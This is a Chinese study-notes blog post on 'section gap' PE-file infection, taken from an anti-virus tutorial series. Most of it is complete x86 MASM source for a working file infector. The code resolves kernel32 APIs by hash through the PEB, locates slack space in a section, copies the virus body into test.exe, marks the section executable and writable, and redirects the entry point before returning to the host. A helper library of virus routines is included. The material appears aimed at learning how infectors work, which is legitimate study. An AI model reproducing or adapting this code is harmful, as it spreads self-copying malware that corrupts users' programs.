搜寻节空隙感染学习笔记

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题

那么搜寻节空隙感染,最重要的就是找到我们节中存在的空隙。一般在病毒技术中,有两种方法。

  1. 循环读取节表,然后分别在每个节中搜寻00机器码(因为默认编译器是用00机器码填充的),如果此00机器码区域的大小大于病毒的体积。则取这段区域的偏移。
  2. 循环读取节表,通过节表结构中的物理文件大小 - 节映射大小 取得 节后面的物理空隙,然后判断此段空隙大小是否大于我们病毒体积,如果大于的话,则取这段区域的偏移。

另外还有将我们病毒分段插入,这需要依靠我们的反汇编引擎,将病毒代码拆解成多个过程,然后分别插入,最后将这些过程连接起来,同样这样也有很多弊端,所以很多时候这不能使我们产生动力...。

我们今天的代码使用的是第二种方法,因为第一种方法的弊端太多,例如如果被感染文件的空隙不是00机器码填充的等。为了稳定性还是选择第二种方法,虽然它的限制会比较多。实际上CIH利用的也是我们今天的第二种方法。

代码:

; 链接选项加入/SECTION:.text|RWE
02.    .386
03.    .model flat, stdcall
04.    option casemap:none
05.
06.include windows.inc
07.
08.    .code
09.
10.VirusEntry:
11.    pushad
12.    call Dels
13.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
14.Table:
15.       dd  038C62A7Ah
16.       _CreateFile  dd  0
17.           dd  09554EFE7h
18.       _GetFileSize  dd  0
19.           dd  00BE25545h
20.       _ReadFile  dd  0
21.           dd  0A9D1FD70h
22.       _SetFilePointer  dd  0
23.           dd  0C0D6D616h
24.       _CloseHandle  dd  0
25.           dd  0C2F6D009h
26.       _GlobalAlloc  dd  0
27.           dd  0585ED3CFh
28.       _GlobalFree  dd  0
29.           dd  058D8C545h
30.       _WriteFile  dd  0
31.           dd  0A412FD89h
32.       _LoadLibrary  dd  0
33.           dd  014D14C51h
34.       _MessageBox  dd  0
35.       dd 0
36.       szCaption    db ‘Virus Dream - Demo‘, 0
37.       szText       db ‘Oh Yeah of Virus Dream‘, 0
38.       szFileName   db ‘test.exe‘, 0
39.       nWriteByteNum    dd 0
40.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
41.Dels:
42.    pop ebp
43.    call GetKernel32
44.
45.    mov edi, ebp            ; edi = pHashStringList = Table
46.    call GetFuncAddress
47.
48.    push ‘23‘
49.    push ‘resu‘
50.    push esp            ; lpFileName = user32
51.    call dword ptr [ebp + (_LoadLibrary - Table)]
52.    pop edx
53.    pop edx             ; 弹出‘user32‘
54.
55.    mov edi, ebp
56.    call GetFuncAddress
57.
58.    cmp ebp, Dels - (Dels - Table)
59.    je Inject           ; 如果等于说明不再宿主程序中
60.
61.    push 0
62.    lea edx, [ebp + (szCaption - Table)]
63.    push edx
64.    lea edx, [ebp + (szText - Table)]
65.    push edx
66.    push 0
67.    call dword ptr [ebp + (_MessageBox - Table)]
68.
69.    lea eax, [ebp + (szFileName - Table)]
70.    push eax
71.    call InjectFile
72.    popad
73.    jmp JmpHost
74.
75.Inject:
76.    lea eax, [ebp + (szFileName - Table)]
77.    push eax
78.    call InjectFile
79.
80.    popad
81.    ret
82.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
83.; 感染文件
84.; Arguments:
85.;   [esp + 4 * 8 + 4]       - lpFileName
86.; Return Value:
87.;   Nothing
88.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
89.InjectFile:
90.    pushad
91.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
92.; 注册一个SEH, 一般流程如下:
93.; push Handle
94.; push fs:[0]
95.; mov fs:[0], esp
96.; _ _ _ _ _ _ _ _
97.; | Prev    |   <-- esp - 8 ; push edx
98.; | SEH Handle  |   <-- esp - 4 ; call [email protected]@
99.; | pushad  |   <-- esp
100.; | 返回地址    |
101.; | 参数  |
102.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
103.    lea edx, [esp - 8]
104.    call [email protected]@                ; 入栈下一条指令地址, 相当于push Handle
105.    mov esp, [esp + 2 * 4]          ; esp指向异常回调函数的第二个参数
106.    jmp _Result
107.
108.[email protected]@:
109.    sub eax, eax
110.    assume fs:nothing
111.    xchg edx, fs:[eax]          ; 相当于mov fs:[0], esp
112.    push edx                ; 相当于push fs:[0]
113.
114.    mov edx, [esp + 4 * 8 + 4 + 4 * 2]  ; edx = lpFileName
115.    push eax
116.    push eax
117.    push OPEN_EXISTING
118.    push eax
119.    push FILE_SHARE_WRITE
120.    push GENERIC_READ or GENERIC_WRITE
121.    push edx
122.    call dword ptr [ebp + (_CreateFile - Table)]
123.    cmp eax, INVALID_HANDLE_VALUE
124.    je _Result
125.    xchg eax, ebx               ; ebx = FileHandle
126.
127.    push 0
128.    push ebx
129.    call dword ptr [ebp + (_GetFileSize - Table)]
130.    push eax                ; [esp] = File Size
131.
132.    push eax
133.    push GMEM_ZEROINIT
134.    call dword ptr [ebp + (_GlobalAlloc - Table)]
135.    xchg eax, edi               ; edi = lpMemory
136.
137.    push 0                  ; 空出一个空间供下面输出参数使用
138.    push esp
139.    push dword ptr [esp + 4 * 2]        ; File Size
140.    push edi                ; 将文件数据读取到edi
141.    push ebx
142.    call dword ptr [ebp + (_ReadFile - Table)]
143.    pop [ebp + (nWriteByteNum - Table)]
144.
145.    push edi
146.    call IsPe
147.    jnc _Free
148.
149.    push edi
150.    call GetSectionTable
151.    xchg eax, esi               ; esi = Section Table offset
152.
153.    push edi
154.    call GetSectionNum          ; ecx = Section Num
155.    jecxz _Free             ; 如果ecx等于0跳
156.
157._LoopScas:
158.    mov edx, [esi + 10h]            ; esi + 10h = SizeOfRawData
159.    sub edx, [esi + 08h]            ; esi + 08h = VirtualSize
160.    cmp edx, VirusLen
161.    jg _MoveVirus               ; 如果空隙大于病毒长度跳
162.    add esi, 28h                ; esi指向下一个节表
163.    loop _LoopScas
164.    jmp _Free
165.
166._MoveVirus:
167.    push edi                ; edi = lpMemory
168.    call GetEntryPointVa
169.    mov [ebp + (JmpHost - Table) + 1], eax  ; 将JmpHost处jmp的操作数修改为OEP
170.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
171.; 设置新入口点RVA
172.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
173.    mov edx, [esi + 08h]            ; edx = VirtualSize
174.    add edx, [esi + 0ch]            ; edx = 节结尾RVA, 也即Virus开始RVA
175.    mov eax, edi                ; edi = lpMemory
176.    add eax, [edi + 3ch]            ; eax = PE Header
177.    mov [eax + 28h], edx            ; 修改入口点
178.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
179.; 设置节标志
180.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
181.    or dword ptr [esi + 24h], 0E0000020h
182.
183.    mov edx, [esi + 08h]
184.    add edx, [esi + 14h]            ; edx = 节结尾文件偏移,也即virus开始文件偏移
185.    add edx, edi                ; edx指向lpMemory中节结尾
186.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
187.; 移动病毒数据
188.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
189.    pushad
190.    lea esi, [ebp - 6]          ; esi = VirusEntry
191.    mov ecx, VirusLen
192.    mov edi, edx
193.    cld
194.    rep movsb               ; 移动病毒数据
195.    popad
196.
197.    push FILE_BEGIN
198.    push 0
199.    push 0
200.    push ebx
201.    call dword ptr [ebp + (_SetFilePointer - Table)]    ; 将文件指针定位到开始处
202.
203.    push 0
204.    push esp
205.    push [ebp + (nWriteByteNum - Table)]
206.    push edi
207.    push ebx
208.    call dword ptr [ebp + (_WriteFile - Table)]     ; 将数据写回文件
209.
210._Free:
211.    push ebx
212.    call dword ptr [ebp + (_CloseHandle - Table)]
213.    push edi
214.    call dword ptr [ebp + (_GlobalFree - Table)]
215.
216._Result:
217.    sub eax, eax
218.    pop dword ptr fs:[eax]
219.    pop edx
220.    popad
221.    ret 4 * 1
222.
223.JmpHost:
224.    push $
225.    ret
226.
227.include VirusLib.asm
228.VirusLen = $ - VirusEntry
229.
230.    end VirusEntry  

上面代码中include了VirusLib.asm文件,里面包含了一些病毒中常用函数:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
02.; 测试是否是PE文件
03.; Arguments:
04.;   [esp]       - return address
05.;   [esp + 4]   - lpMemory
06.; Return Value:
07.;   CF      - 1
08.;   CF      - 0
09.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
10.IsPe:
11.    mov edx, [esp + 4]
12.    cmp word ptr [edx], ‘ZM‘
13.    jnz _IP_RetFails
14.    add edx, [edx + 3ch]
15.    cmp word ptr [edx], ‘EP‘
16.    jnz _IP_RetFails
17.
18._IP_RetTure:
19.    stc         ; CF = 1
20.    ret 4 * 1
21.
22._IP_RetFails:
23.    clc         ; CF = 0
24.    ret 4 * 1
25.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
26.; 获取节表
27.; Arguments:
28.;   [esp]       - return address
29.;   [esp + 4]   - pMemory
30.; Return Value:
31.;   eax         - Physical offset
32.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
33.GetSectionTable:
34.    mov eax, [esp + 4]
35.    add eax, dword ptr [eax + 3ch]  ; eax -> PE Header
36.    movzx edx, word ptr [eax + 14h] ; edx = IMAGE_OPTIONAL_HEADER长度
37.    lea eax, [eax + edx + 4 * 6]    ; 4 * 6为IMAGE_FILE_HEADER和Signature长度
38.    ret 4 * 1
39.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
40.; 获取OEP VA Address
41.; Arguments:
42.;   [esp]       - return address
43.;   [esp + 4]   - pMemory
44.; Return Value:
45.;   eax     - OEP VA Address
46.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
47.GetEntryPointVa:
48.    mov eax, [esp + 4]
49.    add eax, dword ptr [eax + 3ch]  ; eax -> PE Header
50.    mov edx, dword ptr [eax + 28h]  ; edx = IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint
51.    add edx, dword ptr [eax + 34h]  ; edx += IMAGE_OPTIONAL_HEADER.ImageBase
52.    xchg eax, edx
53.    ret 4 * 1
54.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
55.; 获取节表数量
56.; Arguments:
57.;   [esp]       - return address
58.;   [esp - 4]   - pMemory
59.; Return Value:
60.;   ecx     - Section Number
61.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
62.GetSectionNum:
63.    mov eax, [esp + 4]
64.    add eax, [eax + 3ch]            ; eax -> PE Header
65.    movzx ecx, word ptr [eax + 06h]     ; ecx = IMAGE_FILE_HEADER.NumberOfSection
66.    ret 4 * 1
67.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
68.; 获取kernel32基地址
69.; Arguments:
70.;   [esp]       - return address
71.; Return Value:
72.;   eax     - kernel32 base address
73.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
74.GetKernel32:
75.    push dword ptr 006ch
76.    push dword ptr 006c0064h
77.    push dword ptr 002e0032h
78.    push dword ptr 0033006ch
79.    push dword ptr 0065006eh
80.    push dword ptr 00720065h
81.    push word ptr 006bh
82.    mov ebx, esp
83.    assume fs:nothing
84.    mov eax, fs:[30h]
85.    mov eax, [eax + 0ch]
86.    mov eax, [eax + 1ch]
87.
88._Search:
89.    or eax, eax
90.    jz _NotFound
91.    inc eax
92.    jz _NotFound
93.    dec eax
94.    mov ecx, dword ptr 13       ; ecx = 比较长度
95.    lea esi, [eax + 1ch]
96.    mov esi, [esi + 4]      ; esi = UNICODE_STR.Buffer
97.    mov edi, ebx
98.    repz cmpsw
99.    or ecx, ecx
100.    jz _Found
101.    mov eax, [eax]
102.    jmp _Search
103.
104._NotFound:
105.    or eax, 0ffffffffh
106.    jmp _Over
107.
108._Found:
109.    mov eax, [eax + 08h]
110.
111._Over:
112.    add esp, 26
113.    ret
114.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
115.; 获取Hash API地址
116.; Arguments:
117.;   [esp]       - return address
118.;   eax     - hModule
119.;   edi     - pHashStringList
120.; Return Value:
121.;   Nothing
122.;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
123.GetFuncAddress:
124.    pushad
125.    xchg eax, ebx           ; ebx = hModule
126.    mov eax, [ebx + 3ch]
127.    mov esi, [eax + ebx + 78h]  ; Get Export
128.    lea esi, [esi + ebx + 18h]  ; esi -> NumberOfNames
129.
130.    cld
131.    lodsd
132.    xchg eax, ecx           ; ecx = NumberOfNames
133.    lodsd
134.    push eax            ; [esp] = AddressOfFunctions
135.    lodsd
136.    add eax, ebx
137.    xchg eax, edx           ; edx = AddressOfNames
138.    lodsd
139.    add eax, ebx
140.    xchg eax, ebp           ; ebp = AddressOfNameOrdinals
141.    xchg esi, edx           ; esi = AddressOfNames
142.
143._NextFunc:
144.    push edi
145.    lodsd
146.    add eax, ebx            ; eax = API 函数名字符串
147.    xor edx, edx
148.
149._CalcHash:
150.    rol edx, 3
151.    xor dl, byte ptr [eax]
152.    inc eax
153.    cmp byte ptr [eax], 0
154.    jnz _CalcHash
155.
156._ScanDwFunc:
157.    cmp [edi], edx
158.    jnz _SkipFunction
159.    movzx eax, word ptr [ebp]   ; 取出对应索引
160.    shl eax, 2
161.    add eax, [esp + 4]      ; 索引乘以4后加到AddressOfFunctions
162.    mov eax, [eax + ebx]        ; 取出API RVA
163.    add eax, ebx            ; eax = API address
164.    scasd               ; 跳过hash
165.    stosd               ; 保存
166.    jmp _Ret
167.
168._SkipFunction:
169.    scasd
170.    scasd               ; 跳过hash和保存API地址的地方指向下一个hash
171.    cmp dword ptr [edi], 0
172.    jnz _ScanDwFunc
173.
174._Ret:
175.    pop edi
176.    add ebp, 2          ; ebp指向下一个索引,和AddressOfNames对应
177.    loop _NextFunc
178.
179.    pop ecx
180.    popad
181.    ret  

时间: 2024-08-26 12:33:57

搜寻节空隙感染学习笔记的相关文章

变形PE头添加节形式感染学习笔记

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题 1> 变形PE头的原理: 这里的变形PE头的思路是用的比较方便的方法,就是将IMAGE_DOS_HEADER 和 IMAGE_NT_HEADER 结构融合到一起.因为我们都知IMAGE_DOS_HEADER和IMAGE_NT_HEADER的结构成员很多我们是用不到的,所以我们可以按照相应的结构排列,把这些无用的结构成员,融合到一起后,替换成一些有用的成员

扩展节形式感染学习笔记

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题 今天我们的感染方式是扩展末尾节,因为它很简单.稳定.快捷.那么扩展末尾节顾名思义就是针对被感染对象的最后一个节的扩展.将尾部节的大小扩充,然后将我们的病毒代码Write进去,修改若干的PE结构成员. 知道这些,你肯定会问修改哪些若干成员,为了给大家更直白的感觉,下面我列出了感染中需要修改的结构成员. 1.  SizeOfImage        50h

Vue学习笔记入门篇——组件的使用

本文为转载,原文:Vue学习笔记入门篇--组件的使用 组件定义 组件 (Component) 是 Vue.js 最强大的功能之一.组件可以扩展 HTML 元素,封装可重用的代码.在较高层面上,组件是自定义元素,Vue.js 的编译器为它添加特殊功能.在有些情况下,组件也可以是原生 HTML 元素的形式,以 is 特性扩展. 组件使用 注册 注册一个全局组件,你可以使用 Vue.component(tagName, options).组件在注册之后,便可以在父实例的模块中以自定义元素 的形式使用.

Vue学习笔记入门篇——组件的内容分发(slot)

本文为转载,原文:Vue学习笔记入门篇--组件的内容分发(slot) 介绍 为了让组件可以组合,我们需要一种方式来混合父组件的内容与子组件自己的模板.这个过程被称为 内容分发 (或 "transclusion" 如果你熟悉 Angular).Vue.js 实现了一个内容分发 API,使用特殊的 'slot' 元素作为原始内容的插槽. 编译作用域 在深入内容分发 API 之前,我们先明确内容在哪个作用域里编译.假定模板为: <child-component> {{ messa

Vue学习笔记入门篇——组件的通讯

本文为转载,原文:Vue学习笔记入门篇--组件的通讯 组件意味着协同工作,通常父子组件会是这样的关系:组件 A 在它的模版中使用了组件 B.它们之间必然需要相互通信:父组件要给子组件传递数据,子组件需要将它内部发生的事情告知给父组件.然而,在一个良好定义的接口中尽可能将父子组件解耦是很重要的.这保证了每个组件可以在相对隔离的环境中书写和理解,也大幅提高了组件的可维护性和可重用性.在 Vue 中,父子组件的关系可以总结为 props down, events up.父组件通过 props 向下传递

Vue学习笔记进阶篇——Render函数

本文为转载,原文:Vue学习笔记进阶篇--Render函数 基础 Vue 推荐在绝大多数情况下使用 template 来创建你的 HTML.然而在一些场景中,你真的需要 JavaScript 的完全编程的能力,这就是 render 函数,它比 template 更接近编译器. <h1> <a name="hello-world" href="#hello-world"> Hello world! </a> </h1>

Openstack(Kilo)学习笔记之环境准备(二)

接上节Openstack(Kilo)学习笔记之环境准备(一) 一.配置源 1.配置EPEL源 yum install http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-5.noarch.rpm 2.配置RDO源 yum install http://rdo.fedorapeople.org/openstack-kilo/rdo-release-kilo.rpm 3.升级系统源 yum upgrade 二.安装配置数据库

Vue学习笔记进阶篇——过渡状态

本文为转载,原文:Vue学习笔记进阶篇--过渡状态Vue 的过渡系统提供了非常多简单的方法设置进入.离开和列表的动效.那么对于数据元素本身的动效呢,比如: 数字和运算 颜色的显示 SVG 节点的位置 元素的大小和其他的属性 所有的原始数字都被事先存储起来,可以直接转换到数字.做到这一步,我们就可以结合 Vue 的响应式和组件系统,使用第三方库来实现切换元素的过渡状态. 状态动画和watcher 通过 watcher 我们能监听到任何数值属性的数值更新.可能听起来很抽象,所以让我们先来看看使用 T

Vue学习笔记进阶篇——列表过渡及其他

本文为转载,原文:Vue学习笔记进阶篇--列表过渡及其他本文将介绍Vue中的列表过渡,动态过渡, 以及可复用过渡是实现. 列表过渡 目前为止,关于过渡我们已经讲到: 单个节点 同一时间渲染多个节点中的一个 那么怎么同时渲染整个列表,比如使用 v-for ?在这种场景中,使用 <transition-group>组件.在我们深入例子之前,先了解关于这个组件的几个特点: 不同于 <transition>, 它会以一个真实元素呈现:默认为一个<span>.你也可以通过 tag